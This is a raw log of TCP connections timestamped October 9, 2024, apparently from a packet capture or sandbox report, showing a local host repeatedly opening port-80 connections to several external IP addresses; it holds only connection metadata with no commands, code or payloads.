Oct 9, 2024 14:19:46.961174965 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.964631081 CEST	49470	80	192.168.2.4	67.223.117.189
Oct 9, 2024 14:19:46.969681025 CEST	80	49470	67.223.117.189	192.168.2.4
Oct 9, 2024 14:20:00.074786901 CEST	49553	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:00.079754114 CEST	80	49553	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:00.083642006 CEST	49553	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:00.099026918 CEST	49553	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:00.103974104 CEST	80	49553	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:00.557236910 CEST	80	49553	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:00.557301998 CEST	49553	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:01.606647015 CEST	49553	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:01.611808062 CEST	80	49553	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:02.626693010 CEST	49563	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:02.631552935 CEST	80	49563	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:02.631628036 CEST	49563	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:02.645478964 CEST	49563	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:02.650845051 CEST	80	49563	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:03.179863930 CEST	80	49563	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:03.179954052 CEST	49563	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:04.153661013 CEST	49563	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:04.158763885 CEST	80	49563	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.173274994 CEST	49579	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:05.178261042 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.178342104 CEST	49579	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:05.191098928 CEST	49579	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:05.196161985 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196192026 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196203947 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196248055 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196258068 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196269035 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196279049 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196444988 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.196455956 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.641259909 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:05.647658110 CEST	49579	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:06.742152929 CEST	49579	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:06.747272968 CEST	80	49579	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:07.751657963 CEST	49593	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:07.756606102 CEST	80	49593	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:07.756782055 CEST	49593	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:07.763654947 CEST	49593	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:07.768657923 CEST	80	49593	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:09.135030985 CEST	80	49593	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:09.135081053 CEST	80	49593	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:09.135195971 CEST	49593	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:09.150840044 CEST	49593	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:09.155699015 CEST	80	49593	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:14.692308903 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:14.697123051 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:14.697251081 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:14.708749056 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:14.713609934 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573736906 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573775053 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573786974 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573818922 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:15.573885918 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573895931 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573909998 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.573914051 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:15.573945999 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:15.574064970 CEST	80	49631	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:15.574096918 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:16.219753981 CEST	49631	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:17.235821962 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:17.240868092 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:17.240994930 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:17.256243944 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:17.261182070 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095438957 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095458031 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095470905 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095487118 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095499039 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095514059 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095527887 CEST	80	49633	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:18.095551014 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:18.095598936 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:18.095598936 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:18.762933016 CEST	49633	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:19.783801079 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:20.421582937 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.422637939 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:20.435024023 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:20.440171003 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440187931 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440196991 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440208912 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440226078 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440234900 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440288067 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440298080 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:20.440306902 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448035002 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448060036 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448080063 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448100090 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:21.448101044 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448115110 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448131084 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448143005 CEST	80	49634	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:21.448158979 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:21.448193073 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:21.935369015 CEST	49634	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:22.954503059 CEST	49635	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:22.959614038 CEST	80	49635	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:22.959690094 CEST	49635	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:22.968514919 CEST	49635	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:22.973490000 CEST	80	49635	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:23.842288971 CEST	80	49635	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:23.842340946 CEST	80	49635	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:23.842524052 CEST	49635	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:23.845170021 CEST	49635	80	192.168.2.4	183.181.83.131
Oct 9, 2024 14:20:23.850027084 CEST	80	49635	183.181.83.131	192.168.2.4
Oct 9, 2024 14:20:29.059766054 CEST	49636	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:29.064743042 CEST	80	49636	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:29.064811945 CEST	49636	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:29.086210966 CEST	49636	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:29.091068983 CEST	80	49636	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:29.999377966 CEST	80	49636	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:29.999406099 CEST	80	49636	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:29.999500036 CEST	49636	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:30.591367006 CEST	49636	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:31.610693932 CEST	49637	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:31.615575075 CEST	80	49637	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:31.615639925 CEST	49637	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:31.630476952 CEST	49637	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:31.635462046 CEST	80	49637	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:32.511900902 CEST	80	49637	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:32.511919975 CEST	80	49637	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:32.512036085 CEST	49637	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:33.138211966 CEST	49637	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:34.156754017 CEST	49638	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:34.161887884 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.164141893 CEST	49638	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:34.176024914 CEST	49638	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:34.180998087 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181019068 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181102991 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181112051 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181121111 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181253910 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181325912 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181334019 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:34.181499004 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:35.111148119 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:35.247466087 CEST	49638	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:35.346286058 CEST	80	49638	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:35.346378088 CEST	49638	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:35.685029030 CEST	49638	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:36.703955889 CEST	49639	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:36.709017038 CEST	80	49639	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:36.709098101 CEST	49639	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:36.716541052 CEST	49639	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:36.721477985 CEST	80	49639	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:37.626393080 CEST	80	49639	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:37.626429081 CEST	80	49639	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:37.626584053 CEST	49639	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:37.630944967 CEST	49639	80	192.168.2.4	38.47.232.196
Oct 9, 2024 14:20:37.635782957 CEST	80	49639	38.47.232.196	192.168.2.4
Oct 9, 2024 14:20:42.661211967 CEST	49640	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:42.666053057 CEST	80	49640	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:42.668899059 CEST	49640	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:42.678286076 CEST	49640	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:42.683131933 CEST	80	49640	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:44.062542915 CEST	80	49640	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:44.064387083 CEST	49640	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:44.186249971 CEST	49640	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:44.191219091 CEST	80	49640	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:45.204633951 CEST	49641	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:45.209728003 CEST	80	49641	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:45.209803104 CEST	49641	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:45.223704100 CEST	49641	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:45.228794098 CEST	80	49641	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:45.667924881 CEST	80	49641	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:45.667999029 CEST	49641	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:46.732018948 CEST	49641	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:46.737835884 CEST	80	49641	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.751686096 CEST	49642	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:47.756813049 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.756941080 CEST	49642	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:47.767743111 CEST	49642	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:47.772649050 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.772658110 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.772665024 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.772672892 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.772684097 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.772804022 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.772813082 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.773085117 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:47.773154020 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:48.225477934 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:48.225837946 CEST	49642	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:49.278945923 CEST	49642	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:49.284147978 CEST	80	49642	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:50.297800064 CEST	49643	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:50.304395914 CEST	80	49643	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:50.304636955 CEST	49643	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:50.311779976 CEST	49643	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:50.319334984 CEST	80	49643	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:51.716342926 CEST	80	49643	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:51.716567039 CEST	80	49643	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:51.716612101 CEST	49643	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:51.719866991 CEST	49643	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:20:51.725038052 CEST	80	49643	3.33.130.190	192.168.2.4
Oct 9, 2024 14:20:57.199383020 CEST	49644	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:57.204314947 CEST	80	49644	154.212.219.2	192.168.2.4
Oct 9, 2024 14:20:57.204392910 CEST	49644	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:57.223153114 CEST	49644	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:57.228148937 CEST	80	49644	154.212.219.2	192.168.2.4
Oct 9, 2024 14:20:58.129436016 CEST	80	49644	154.212.219.2	192.168.2.4
Oct 9, 2024 14:20:58.129606962 CEST	80	49644	154.212.219.2	192.168.2.4
Oct 9, 2024 14:20:58.129652023 CEST	49644	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:58.733570099 CEST	49644	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:59.752250910 CEST	49645	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:59.757410049 CEST	80	49645	154.212.219.2	192.168.2.4
Oct 9, 2024 14:20:59.758405924 CEST	49645	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:59.772252083 CEST	49645	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:20:59.777250051 CEST	80	49645	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:00.661510944 CEST	80	49645	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:00.661709070 CEST	80	49645	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:00.661952972 CEST	49645	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:01.279148102 CEST	49645	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:02.299268961 CEST	49646	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:02.304577112 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.304760933 CEST	49646	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:02.316055059 CEST	49646	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:02.321021080 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321032047 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321085930 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321095943 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321192026 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321202040 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321218967 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321228981 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:02.321240902 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:03.191891909 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:03.232230902 CEST	49646	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:03.408185959 CEST	80	49646	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:03.408303976 CEST	49646	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:03.828309059 CEST	49646	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:04.845113039 CEST	49647	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:04.851684093 CEST	80	49647	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:04.851758957 CEST	49647	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:04.859318018 CEST	49647	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:04.864217043 CEST	80	49647	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:05.895066977 CEST	80	49647	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:05.895086050 CEST	80	49647	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:05.895095110 CEST	80	49647	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:05.903310061 CEST	49647	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:05.903310061 CEST	49647	80	192.168.2.4	154.212.219.2
Oct 9, 2024 14:21:05.908338070 CEST	80	49647	154.212.219.2	192.168.2.4
Oct 9, 2024 14:21:12.206510067 CEST	49648	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:12.211406946 CEST	80	49648	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:12.214569092 CEST	49648	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:12.227118969 CEST	49648	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:12.231987000 CEST	80	49648	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:13.023412943 CEST	80	49648	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:13.023653984 CEST	80	49648	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:13.023710966 CEST	49648	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:13.732479095 CEST	49648	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:14.752407074 CEST	49649	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:14.757658005 CEST	80	49649	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:14.757853985 CEST	49649	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:14.768416882 CEST	49649	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:14.773420095 CEST	80	49649	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:15.543420076 CEST	80	49649	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:15.543644905 CEST	80	49649	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:15.543693066 CEST	49649	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:16.279252052 CEST	49649	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:17.298496962 CEST	49650	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:17.305649996 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.305742979 CEST	49650	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:17.319358110 CEST	49650	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:17.326783895 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.326796055 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.326806068 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.327029943 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.327332020 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.328470945 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.328536034 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.328547001 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:17.328558922 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:18.270903111 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:18.270992994 CEST	80	49650	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:18.271142006 CEST	49650	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:18.826195002 CEST	49650	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:19.846813917 CEST	49651	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:19.851872921 CEST	80	49651	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:19.855457067 CEST	49651	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:19.862317085 CEST	49651	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:19.867264032 CEST	80	49651	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:20.647305965 CEST	80	49651	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:20.647423029 CEST	80	49651	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:20.647743940 CEST	49651	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:20.651174068 CEST	49651	80	192.168.2.4	133.130.35.90
Oct 9, 2024 14:21:20.656012058 CEST	80	49651	133.130.35.90	192.168.2.4
Oct 9, 2024 14:21:25.857425928 CEST	49652	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:25.862397909 CEST	80	49652	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:25.866774082 CEST	49652	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:25.880536079 CEST	49652	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:25.885567904 CEST	80	49652	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:26.327647924 CEST	80	49652	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:26.327783108 CEST	49652	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:27.388854980 CEST	49652	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:27.394092083 CEST	80	49652	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:28.407495975 CEST	49653	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:29.376977921 CEST	80	49653	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:29.377162933 CEST	49653	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:29.395062923 CEST	49653	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:29.400060892 CEST	80	49653	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:29.874836922 CEST	80	49653	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:29.874916077 CEST	49653	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:30.904402018 CEST	49653	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:30.909409046 CEST	80	49653	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.924599886 CEST	49654	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:31.929869890 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.930058956 CEST	49654	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:31.946639061 CEST	49654	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:31.951723099 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951771975 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951797962 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951812029 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951824903 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951838970 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951910973 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951926947 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:31.951940060 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:32.397782087 CEST	80	49654	3.33.130.190	192.168.2.4
Oct 9, 2024 14:21:32.399266005 CEST	49654	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:33.451580048 CEST	49654	80	192.168.2.4	3.33.130.190
Oct 9, 2024 14:21:33.456459999 CEST	80	49654	3.33.130.190	192.168.2.4
